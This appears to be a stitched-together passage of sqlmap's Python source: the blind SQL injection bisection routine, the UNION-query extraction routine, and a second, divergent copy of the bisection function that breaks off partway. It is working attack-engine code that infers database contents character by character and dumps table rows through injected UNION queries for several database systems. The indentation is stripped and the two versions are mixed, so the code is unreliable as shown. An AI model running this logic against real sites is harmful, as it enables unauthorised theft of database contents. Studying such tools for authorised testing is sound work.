firstChar = len(partialValue)
elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
firstChar = 0
elif (kb.fileReadMode or dump) and conf.firstChar is not None and (
isinstance(conf.firstChar, int) or
(hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
firstChar = int(conf.firstChar) - 1
if kb.fileReadMode:
firstChar <<= 1
elif hasattr(firstChar,
"isdigit") and firstChar.isdigit() or isinstance(
firstChar, int):
firstChar = int(firstChar) - 1
else:
firstChar = 0
if re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
lastChar = 0
elif dump and conf.lastChar is not None and (
isinstance(conf.lastChar, int) or
(hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
lastChar = int(conf.lastChar)
elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(
lastChar, int):
lastChar = int(lastChar)
else:
lastChar = 0
if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr,
nulledCastedField, 1)
expressionUnescaped = unescaper.escape(expressionReplaced)
else:
expressionUnescaped = unescaper.escape(expression)
if hasattr(length, "isdigit") and length.isdigit() or isinstance(
length, int):
length = int(length)
else:
length = None
if length == 0:
return 0, ""
if length and (lastChar > 0 or firstChar > 0):
length = min(length, lastChar or length) - firstChar
if length and length > MAX_BISECTION_LENGTH:
length = None
showEta = conf.eta and isinstance(length, int)
if kb.bruteMode:
numThreads = 1
else:
numThreads = min(conf.threads or 0, length or 0) or 1
if showEta:
progress = ProgressBar(maxValue=length)
if numThreads > 1:
if not timeBasedCompare or kb.forceThreads:
debugMsg = "starting %d thread%s" % (numThreads,
("s" if numThreads > 1
else ""))
logger.debug(debugMsg)
else:
numThreads = 1
if conf.threads == 1 and not any(
(timeBasedCompare, conf.predictOutput)):
warnMsg = "running in a single-thread mode. Please consider "
warnMsg += "usage of option '--threads' for faster data retrieval"
singleTimeWarnMessage(warnMsg)
if conf.verbose in (1, 2) and not any(
(showEta, conf.api, kb.bruteMode)):
if isinstance(length, int) and numThreads > 1:
dataToStdout("[%s] [INFO] retrieved: %s" %
(time.strftime("%X"),
"_" * min(length, conf.progressWidth)))
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
else:
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
def tryHint(idx):
with kb.locks.hint:
hintValue = kb.hintValue
if payload is not None and len(
hintValue or "") > 0 and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS,
DBMS.MAXDB, DBMS.DB2):
posValue = hintValue[idx - 1]
else:
posValue = ord(hintValue[idx - 1])
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape(
"'%s'" % decodeIntToUnicode(posValue))
forgedPayload = agent.extractPayload(payload)
forgedPayload = safeStringFormat(
forgedPayload.replace(INFERENCE_GREATER_CHAR,
INFERENCE_EQUALS_CHAR),
(expressionUnescaped, idx, posValue)).replace(
markingValue, unescapedCharValue)
result = Request.queryPage(agent.replacePayload(
payload, forgedPayload),
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(getTechnique())
if result:
return hintValue[idx - 1]
with kb.locks.hint:
kb.hintValue = ""
return None
def validateChar(idx, value):
"""
Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
"""
validationPayload = re.sub(
r"(%s.*?)%s(.*?%s)" %
(PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER),
r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(
validationPayload, (expressionUnescaped, idx, value))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape(
"'%s'" % decodeIntToUnicode(value))
forgedPayload = safeStringFormat(
validationPayload, (expressionUnescaped, idx)).replace(
markingValue, unescapedCharValue)
result = not Request.queryPage(forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
if result and timeBasedCompare and getTechniqueData().trueCode:
result = threadData.lastCode == getTechniqueData().trueCode
if not result:
warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (
threadData.lastCode, getTechniqueData().trueCode)
singleTimeWarnMessage(warnMsg)
incrementCounter(getTechnique())
return result
def getChar(idx,
charTbl=None,
continuousOrder=True,
expand=charsetType is None,
shiftTable=None,
retried=None):
"""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
"""
result = tryHint(idx)
if result:
return result
if charTbl is None:
charTbl = type(asciiTbl)(asciiTbl)
originalTbl = type(charTbl)(charTbl)
if continuousOrder and shiftTable is None:
# Used for gradual expanding into unicode charspace
shiftTable = [2, 2, 3, 3, 5, 4]
if "'%s'" % CHAR_INFERENCE_MARK in payload:
for char in ('\n', '\r'):
if ord(char) in charTbl:
charTbl.remove(ord(char))
if not charTbl:
return None
elif len(charTbl) == 1:
forgedPayload = safeStringFormat(
payload.replace(INFERENCE_GREATER_CHAR,
INFERENCE_EQUALS_CHAR),
(expressionUnescaped, idx, charTbl[0]))
result = Request.queryPage(forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(getTechnique())
if result:
return decodeIntToUnicode(charTbl[0])
else:
return None
maxChar = maxValue = charTbl[-1]
minValue = charTbl[0]
firstCheck = False
lastCheck = False
unexpectedCode = False
if continuousOrder:
while len(charTbl) > 1:
position = None
if charsetType is None:
if not firstCheck:
try:
try:
lastChar = [
_ for _ in threadData.shared.value
if _ is not None
][-1]
except IndexError:
lastChar = None
else:
if 'a' <= lastChar <= 'z':
position = charTbl.index(ord('a') -
1) # 96
elif 'A' <= lastChar <= 'Z':
position = charTbl.index(ord('A') -
1) # 64
elif '0' <= lastChar <= '9':
position = charTbl.index(ord('0') -
1) # 47
except ValueError:
pass
finally:
firstCheck = True
elif not lastCheck and numThreads == 1: # not usable in multi-threading environment
if charTbl[(len(charTbl) >> 1)] < ord(' '):
try:
# favorize last char check if current value inclines toward 0
position = charTbl.index(1)
except ValueError:
pass
finally:
lastCheck = True
if position is None:
position = (len(charTbl) >> 1)
posValue = charTbl[position]
falsePayload = None
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(
payload, (expressionUnescaped, idx, posValue))
falsePayload = safeStringFormat(
payload,
(expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape(
"'%s'" % decodeIntToUnicode(posValue))
forgedPayload = safeStringFormat(
payload, (expressionUnescaped, idx)).replace(
markingValue, unescapedCharValue)
falsePayload = safeStringFormat(
payload, (expressionUnescaped, idx)).replace(
markingValue, NULL)
if timeBasedCompare:
if kb.responseTimeMode:
kb.responseTimePayload = falsePayload
else:
kb.responseTimePayload = None
result = Request.queryPage(
forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(getTechnique())
if not timeBasedCompare and getTechniqueData() is not None:
unexpectedCode |= threadData.lastCode not in (
getTechniqueData().falseCode,
getTechniqueData().trueCode)
if unexpectedCode:
warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
singleTimeWarnMessage(warnMsg)
if result:
minValue = posValue
if not isinstance(charTbl, xrange):
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
charTbl = xrange(charTbl[position],
charTbl[-1] + 1)
else:
maxValue = posValue
if not isinstance(charTbl, xrange):
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
if len(charTbl) == 1:
if maxValue == 1:
return None
# Going beyond the original charset
elif minValue == maxChar:
# If the original charTbl was [0,..,127] new one
# will be [128,..,(128 << 4) - 1] or from 128 to 2047
# and instead of making a HUGE list with all the
# elements we use a xrange, which is a virtual
# list
if expand and shiftTable:
charTbl = xrange(
maxChar + 1,
(maxChar + 1) << shiftTable.pop())
originalTbl = xrange(charTbl)
maxChar = maxValue = charTbl[-1]
minValue = charTbl[0]
else:
return None
else:
retVal = minValue + 1
if retVal in originalTbl or (
retVal == ord('\n')
and CHAR_INFERENCE_MARK in payload):
if (timeBasedCompare or unexpectedCode
) and not validateChar(idx, retVal):
if not kb.originalTimeDelay:
kb.originalTimeDelay = conf.timeSec
threadData.validationRun = 0
if (retried or 0) < MAX_REVALIDATION_STEPS:
errMsg = "invalid character detected. retrying.."
logger.error(errMsg)
if timeBasedCompare:
if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
conf.timeSec += 1
warnMsg = "increasing time delay to %d second%s" % (
conf.timeSec, 's' if
conf.timeSec > 1 else '')
logger.warn(warnMsg)
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
dbgMsg = "turning off time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
return getChar(idx, originalTbl,
continuousOrder, expand,
shiftTable,
(retried or 0) + 1)
else:
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(
retVal)
logger.error(errMsg)
conf.timeSec = kb.originalTimeDelay
return decodeIntToUnicode(retVal)
else:
if timeBasedCompare:
threadData.validationRun += 1
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
dbgMsg = "turning back on time auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES
return decodeIntToUnicode(retVal)
else:
return None
else:
if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset:
errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms(
)
raise SqlmapUnsupportedFeatureException(errMsg)
candidates = list(originalTbl)
bit = 0
while len(candidates) > 1:
bits = {}
for candidate in candidates:
bit = 0
while candidate:
bits.setdefault(bit, 0)
bits[bit] += 1 if candidate & 1 else -1
candidate >>= 1
bit += 1
choice = sorted(bits.items(),
key=lambda _: abs(_[1]))[0][0]
mask = 1 << choice
forgedPayload = safeStringFormat(
payload.replace(
INFERENCE_GREATER_CHAR,
"&%d%s" % (mask, INFERENCE_GREATER_CHAR)),
(expressionUnescaped, idx, 0))
result = Request.queryPage(
forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(getTechnique())
if result:
candidates = [_ for _ in candidates if _ & mask > 0]
else:
candidates = [_ for _ in candidates if _ & mask == 0]
bit += 1
if candidates:
forgedPayload = safeStringFormat(
payload.replace(INFERENCE_GREATER_CHAR,
INFERENCE_EQUALS_CHAR),
(expressionUnescaped, idx, candidates[0]))
result = Request.queryPage(
forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(getTechnique())
if result:
return decodeIntToUnicode(candidates[0])
# Go multi-threading (--threads > 1)
if numThreads > 1 and isinstance(length, int) and length > 1:
threadData.shared.value = [None] * length
threadData.shared.index = [
firstChar
] # As list for python nested function scoping
threadData.shared.start = firstChar
try:
def blindThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.index:
if threadData.shared.index[0] - firstChar >= length:
return
threadData.shared.index[0] += 1
currentCharIndex = threadData.shared.index[0]
if kb.threadContinue:
val = getChar(
currentCharIndex, asciiTbl,
not (charsetType is None and conf.charset))
if val is None:
val = INFERENCE_UNKNOWN_CHAR
else:
break
with kb.locks.value:
threadData.shared.value[currentCharIndex - 1 -
firstChar] = val
currentValue = list(threadData.shared.value)
if kb.threadContinue:
if showEta:
progress.progress(threadData.shared.index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
for i in xrange(length):
if currentValue[i] is not None:
endCharIndex = max(endCharIndex, i)
output = ''
if endCharIndex > conf.progressWidth:
startCharIndex = endCharIndex - conf.progressWidth
count = threadData.shared.start
for i in xrange(startCharIndex,
endCharIndex + 1):
output += '_' if currentValue[
i] is None else filterControlChars(
currentValue[i] if len(
currentValue[i]) == 1 else ' ',
replacement=' ')
for i in xrange(length):
count += 1 if currentValue[
i] is not None else 0
if startCharIndex > 0:
output = ".." + output[2:]
if (endCharIndex - startCharIndex
== conf.progressWidth) and (
endCharIndex < length - 1):
output = output[:-2] + ".."
if conf.verbose in (1, 2) and not any(
(showEta, conf.api, kb.bruteMode)):
_ = count - firstChar
output += '_' * (
min(length, conf.progressWidth) -
len(output))
status = ' %d/%d (%d%%)' % (
_, length, int(100.0 * _ / length))
output += status if _ != length else " " * len(
status)
dataToStdout(
"\r[%s] [INFO] retrieved: %s" %
(time.strftime("%X"), output))
runThreads(numThreads, blindThread, startThreadMsg=False)
except KeyboardInterrupt:
abortedFlag = True
finally:
value = [_ for _ in partialValue]
value.extend(_ for _ in threadData.shared.value)
infoMsg = None
# If we have got one single character not correctly fetched it
# can mean that the connection to the target URL was lost
if None in value:
partialValue = "".join(value[:value.index(None)])
if partialValue:
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (
time.strftime("%X"), filterControlChars(partialValue))
else:
finalValue = "".join(value)
infoMsg = "\r[%s] [INFO] retrieved: %s" % (
time.strftime("%X"), filterControlChars(finalValue))
if conf.verbose in (1, 2) and infoMsg and not any(
(showEta, conf.api, kb.bruteMode)):
dataToStdout(infoMsg)
# No multi-threading (--threads = 1)
else:
index = firstChar
threadData.shared.value = ""
while True:
index += 1
# Common prediction feature (a.k.a. "good samaritan")
# NOTE: to be used only when multi-threading is not set for
# the moment
if conf.predictOutput and len(
partialValue) > 0 and kb.partRun is not None:
val = None
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(
partialValue, asciiTbl)
# If there is one single output in common-outputs, check
# it via equal against the query output
if commonValue is not None:
# One-shot query containing equals commonValue
testValue = unescaper.escape(
"'%s'" % commonValue
) if "'" not in commonValue else unescaper.escape(
"%s" % commonValue, quote=False)
query = getTechniqueData().vector
query = agent.prefixQuery(
query.replace(
INFERENCE_MARKER, "(%s)%s%s" %
(expressionUnescaped, INFERENCE_EQUALS_CHAR,
testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(
agent.payload(newValue=query),
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(getTechnique())
# Did we have luck?
if result:
if showEta:
progress.progress(len(commonValue))
elif conf.verbose in (1, 2) or conf.api:
dataToStdout(
filterControlChars(commonValue[index -
1:]))
finalValue = commonValue
break
# If there is a common pattern starting with partialValue,
# check it via equal against the substring-query output
if commonPattern is not None:
# Substring-query containing equals commonPattern
subquery = queries[Backend.getIdentifiedDbms(
)].substring.query % (expressionUnescaped, 1,
len(commonPattern))
testValue = unescaper.escape(
"'%s'" % commonPattern
) if "'" not in commonPattern else unescaper.escape(
"%s" % commonPattern, quote=False)
query = getTechniqueData().vector
query = agent.prefixQuery(
query.replace(INFERENCE_MARKER,
"(%s)=%s" % (subquery, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(
agent.payload(newValue=query),
timeBasedCompare=timeBasedCompare,
raise404=False)
incrementCounter(getTechnique())
# Did we have luck?
if result:
val = commonPattern[index - 1:]
index += len(val) - 1
# Otherwise if there is no commonValue (single match from
# txt/common-outputs.txt) and no commonPattern
# (common pattern) use the returned common charset only
# to retrieve the query output
if not val and commonCharset:
val = getChar(index, commonCharset, False)
# If we had no luck with commonValue and common charset,
# use the returned other charset
if not val:
val = getChar(index, otherCharset,
otherCharset == asciiTbl)
else:
val = getChar(index, asciiTbl,
not (charsetType is None and conf.charset))
if val is None:
finalValue = partialValue
break
if kb.data.processChar:
val = kb.data.processChar(val)
threadData.shared.value = partialValue = partialValue + val
if showEta:
progress.progress(index)
elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:
dataToStdout(filterControlChars(val))
# some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
if Backend.getIdentifiedDbms(
) in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB) and len(
partialValue) > INFERENCE_BLANK_BREAK and partialValue[
-INFERENCE_BLANK_BREAK:].isspace():
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
break
elif charsetType and partialValue[-1:].isspace():
finalValue = partialValue[:-1]
break
if (lastChar > 0 and index >= lastChar):
finalValue = "" if length == 0 else partialValue
finalValue = finalValue.rstrip(
) if len(finalValue) > 1 else finalValue
partialValue = None
break
except KeyboardInterrupt:
abortedFlag = True
finally:
kb.prependFlag = False
retrievedLength = len(finalValue or "")
if finalValue is not None:
finalValue = decodeDbmsHexValue(
finalValue) if conf.hexConvert else finalValue
hashDBWrite(expression, finalValue)
elif partialValue:
hashDBWrite(
expression,
"%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else
PARTIAL_HEX_VALUE_MARKER, partialValue))
if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)):
infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime(
"%X"), filterControlChars(finalValue), " " * retrievedLength)
dataToStdout(infoMsg)
else:
if conf.verbose in (1, 2) and not any(
(showEta, conf.api, kb.bruteMode)):
dataToStdout("\n")
if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
logger.info(infoMsg)
if kb.threadException:
raise SqlmapThreadException(
"something unexpected happened inside the threads")
if abortedFlag:
raise KeyboardInterrupt
_ = finalValue or partialValue
return getCounter(
getTechnique()), safecharencode(_) if kb.safeCharEncode else _
def unionUse(expression, unpack=True, dump=False):
"""
This function tests for an UNION SQL injection on the target
URL then call its subsidiary function to effectively perform an
UNION SQL injection on the affected URL
"""
initTechnique(PAYLOAD.TECHNIQUE.UNION)
abortedFlag = False
count = None
origExpr = expression
startLimit = 0
stopLimit = None
value = None
width = getConsoleWidth()
start = time.time()
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
origExpr)
# Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if conf.api else None
if expressionFieldsList and len(
expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
# Removed ORDER BY clause because UNION does not play well with it
expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
debugMsg = "stripping ORDER BY clause from statement because "
debugMsg += "it does not play well with UNION query SQL injection"
singleTimeDebugMessage(debugMsg)
if Backend.getIdentifiedDbms() in (
DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL,
DBMS.SQLITE) and expressionFields and not any(
(conf.binaryFields, conf.limitStart, conf.limitStop,
conf.forcePartial)):
match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I)
if match and not (Backend.isDbms(DBMS.ORACLE)
and FROM_DUMMY_TABLE[DBMS.ORACLE]
in expression) and not re.search(
r"\b(MIN|MAX|COUNT)\(", expression):
kb.jsonAggMode = True
if Backend.isDbms(DBMS.MYSQL):
query = expression.replace(
expressionFields,
"CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" %
(kb.chars.start, kb.chars.delimiter, expressionFields,
kb.chars.stop), 1)
elif Backend.isDbms(DBMS.ORACLE):
query = expression.replace(
expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" %
(kb.chars.start,
("||'%s'||" % kb.chars.delimiter
).join(expressionFieldsList), kb.chars.stop), 1)
elif Backend.isDbms(DBMS.SQLITE):
query = expression.replace(
expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" %
(kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(
"COALESCE(%s,' ')" % field
for field in expressionFieldsList), kb.chars.stop), 1)
elif Backend.isDbms(
DBMS.PGSQL
): # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item
query = expression.replace(
expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" %
(kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(
"COALESCE(%s::text,' ')" % field
for field in expressionFieldsList), kb.chars.stop), 1)
elif Backend.isDbms(DBMS.MSSQL):
query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (
kb.chars.start, expression, kb.chars.stop)
output = _oneShotUnionUse(query, False)
value = parseUnionPage(output)
kb.jsonAggMode = False
# We have to check if the SQL query might return multiple entries
# if the technique is partial UNION query and in such case forge the
# SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if value is None and (
kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where
== PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion
or conf.forcePartial or
(dump and (conf.limitStart or conf.limitStop)) or "LIMIT "
in expression.upper()) and " FROM " in expression.upper() and (
(Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or
(Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE
and not expression.upper().endswith(
FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))
) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(
expression, dump)
if limitCond:
# Count the number of SQL query entries output
countedExpression = expression.replace(
expressionFields,
queries[Backend.getIdentifiedDbms()].count.query %
('*' if len(expressionFieldsList) > 1 else expressionFields),
1)
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
output = _oneShotUnionUse(countedExpression, unpack)
count = unArrayizeValue(parseUnionPage(output))
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
debugMsg = "used SQL query returns "
debugMsg += "%d %s" % (stopLimit, "entries"
if stopLimit > 1 else "entry")
logger.debug(debugMsg)
elif count and (not isinstance(count, six.string_types)
or not count.isdigit()):
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
value = [] # for empty tables
return value
if isNumPosStrValue(count) and int(count) > 1:
threadData = getCurrentThreadData()
try:
threadData.shared.limits = iter(
xrange(startLimit, stopLimit))
except OverflowError:
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (
startLimit, stopLimit)
errMsg += "with switch '--fresh-queries'"
raise SqlmapDataException(errMsg)
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData.shared.value = BigArray()
threadData.shared.buffered = []
threadData.shared.counter = 0
threadData.shared.lastFlushed = startLimit - 1
threadData.shared.showEta = conf.eta and (stopLimit -
startLimit) > 1
if threadData.shared.showEta:
threadData.shared.progress = ProgressBar(
maxValue=(stopLimit - startLimit))
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info for "
debugMsg += "large number of rows as it might take too long"
logger.debug(debugMsg)
try:
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
threadData.shared.counter += 1
num = next(threadData.shared.limits)
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL,
DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(
num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack,
True)
if not kb.threadContinue:
break
if output:
with kb.locks.value:
if all(_ in output
for _ in (kb.chars.start,
kb.chars.stop)):
items = parseUnionPage(output)
if threadData.shared.showEta:
threadData.shared.progress.progress(
threadData.shared.counter)
if isListLike(items):
# in case that we requested N columns and we get M!=N then we have to filter a bit
if len(items) > 1 and len(
expressionFieldsList) > 1:
items = [
item for item in items
if isListLike(item)
and len(item) == len(
expressionFieldsList)
]
items = [
_ for _ in flattenValue(items)
]
if len(items) > len(
expressionFieldsList):
filtered = OrderedDict()
for item in items:
key = re.sub(
r"[^A-Za-z0-9]", "",
item).lower()
if key not in filtered or re.search(
r"[^A-Za-z0-9]",
item):
filtered[key] = item
items = list(
six.itervalues(filtered))
items = [items]
index = None
for index in xrange(1 + len(
threadData.shared.buffered)):
if index < len(
threadData.shared.buffered
) and threadData.shared.buffered[
index][0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, items))
else:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(
threadData.shared.counter)
for index in xrange(1 + len(
threadData.shared.buffered)):
if index < len(
threadData.shared.buffered
) and threadData.shared.buffered[
index][0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, None))
items = output.replace(
kb.chars.start, "").replace(
kb.chars.stop,
"").split(kb.chars.delimiter)
while threadData.shared.buffered and (
threadData.shared.lastFlushed + 1
>= threadData.shared.buffered[0][0]
or
len(threadData.shared.buffered) >
MAX_BUFFERED_PARTIAL_UNION_LENGTH):
threadData.shared.lastFlushed, _ = threadData.shared.buffered[
0]
if not isNoneValue(_):
threadData.shared.value.extend(
arrayizeValue(_))
del threadData.shared.buffered[0]
if conf.verbose == 1 and not (
threadData.resumed
and kb.suppressResumeInfo
) and not threadData.shared.showEta and not kb.bruteMode:
_ = ','.join("'%s'" % _ for _ in (
flattenValue(arrayizeValue(items)) if
not isinstance(items, six.string_types)
else [items]))
status = "[%s] [INFO] %s: %s" % (
time.strftime("%X"), "resumed"
if threadData.resumed else "retrieved",
_ if kb.safeCharEncode else
safecharencode(_))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\n" % status)
runThreads(numThreads, unionThread)
if conf.verbose == 1:
clearConsoleLine(True)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
for _ in sorted(threadData.shared.buffered):
if not isNoneValue(_[1]):
threadData.shared.value.extend(arrayizeValue(_[1]))
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value and not abortedFlag:
output = _oneShotUnionUse(expression, unpack)
value = parseUnionPage(output)
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d quer%s in %.2f seconds" % (
kb.counters[PAYLOAD.TECHNIQUE.UNION], 'y'
if kb.counters[PAYLOAD.TECHNIQUE.UNION] == 1 else "ies", duration)
logger.debug(debugMsg)
return value
def bisection(payload,
expression,
length=None,
charsetType=None,
firstChar=None,
lastChar=None,
dump=False):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
abortedFlag = False
partialValue = u""
finalValue = None
asciiTbl = getCharset(charsetType)
timeBasedCompare = (kb.technique
in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal:
if PARTIAL_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
if retVal:
partialValue = retVal
dataToStdout(
"[%s] [INFO] resuming partial value: '%s'\r\n" %
(time.strftime("%X"), safecharencode(partialValue)))
else:
dataToStdout("[%s] [INFO] resumed: %s\r\n" %
(time.strftime("%X"), safecharencode(retVal)))
return 0, retVal
try:
# Set kb.partRun in case "common prediction" feature (a.k.a. "good
# samaritan") is used
kb.partRun = getPartRun() if conf.predictOutput else None
if partialValue:
firstChar = len(partialValue)
elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
firstChar = 0
elif dump and conf.firstChar is not None and (isinstance(
conf.firstChar, int) or (isinstance(conf.firstChar, basestring)
and conf.firstChar.isdigit())):
firstChar = int(conf.firstChar) - 1
elif firstChar is None:
firstChar = 0
elif (isinstance(firstChar, basestring)
and firstChar.isdigit()) or isinstance(firstChar, int):
firstChar = int(firstChar) - 1
if "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
lastChar = 0
elif dump and conf.lastChar is not None and (isinstance(
conf.lastChar, int) or (isinstance(conf.lastChar, basestring)
and conf.lastChar.isdigit())):
lastChar = int(conf.lastChar)
elif lastChar in (None, "0"):
lastChar = 0
elif (isinstance(lastChar, basestring)
and lastChar.isdigit()) or isinstance(lastChar, int):
lastChar = int(lastChar)
if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr,
nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
else:
expressionUnescaped = unescaper.unescape(expression)
if length and isinstance(length, basestring) and length.isdigit():
length = int(length)
if length == 0:
return 0, ""
if lastChar > 0 and length > (lastChar - firstChar):
length = lastChar - firstChar
showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length)
if showEta:
progress = ProgressBar(maxValue=length)
progressTime = []
if timeBasedCompare and conf.threads > 1:
warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
singleTimeWarnMessage(warnMsg)
if numThreads > 1:
if not timeBasedCompare:
debugMsg = "starting %d thread%s" % (numThreads,
("s" if numThreads > 1
else ""))
logger.debug(debugMsg)
else:
numThreads = 1
if conf.threads == 1 and not timeBasedCompare:
warnMsg = "running in a single-thread mode. Please consider "
warnMsg += "usage of option '--threads' for faster data retrieval"
singleTimeWarnMessage(warnMsg)
if conf.verbose in (1, 2) and not showEta:
if isinstance(length, int) and conf.threads > 1:
dataToStdout("[%s] [INFO] retrieved: %s" %
(time.strftime("%X"),
"_" * min(length, conf.progressWidth)))
